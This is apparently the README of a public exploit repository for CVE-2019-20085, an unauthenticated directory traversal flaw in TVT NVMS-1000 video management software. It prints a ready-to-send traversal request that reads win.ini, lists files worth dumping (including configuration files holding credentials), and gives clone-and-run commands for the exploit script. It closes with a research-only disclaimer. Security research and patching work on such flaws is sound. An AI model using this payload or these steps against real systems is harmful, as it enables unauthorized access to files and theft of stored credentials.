📂 CVE-2019-20085 – TVT NVMS-1000 Directory Traversal Exploit (By Z3R0)

Author: Z3R0 CVE: CVE-2019-20085 Target: TVT NVMS-1000 (all known versions prior to patch) Vuln Type: Unauthenticated Directory Traversal Date: [Insert Your Release Date]

🔍 Vulnerability Summary

TVT's NVMS-1000 software contains a directory traversal vulnerability in its web server component. By sending a specially crafted GET request using /.. sequences, an unauthenticated attacker can access arbitrary files on the underlying OS, including sensitive configuration files, password hashes, or system keys.

⚠️ Affected Software

Product: TVT NVMS-1000
Versions: All versions before vendor fix (typically <= v3.x.x)
Platform: Windows

💥 Exploit Description

This exploit abuses the vulnerable file path resolution in the HTTP server running on NVMS-1000. There is no authentication required. A remote attacker can read any file accessible to the service user.

🧪 Example Malicious Request

GET /..%5C..%5C..%5C..%5Cwindows%5Cwin.ini HTTP/1.1
Host: <target-ip>:80

🗂️ Files You Can Dump

Windows system files (e.g., C:\Windows\win.ini)
NVMS config files (often contain base64-encoded or plaintext creds)
User data directories

🚀 Usage

✅ Requirements

Python 3.x
requests module (pip install requests)

▶️ Run the Exploit

git clone https://github.com/Z3R0-0x30/CVE-2019-20085.git
cd CVE-2019-20085
python3 exploit.py http://domain.local/ ../../windows/win.ini win.ini"

⚠️ Disclaimer

This exploit is released for educational and authorized security research purposes only. The author Z3R0 is not responsible for any misuse or unauthorized access. Always get proper authorization before testing systems.

CVE-2019-20085

Most Popular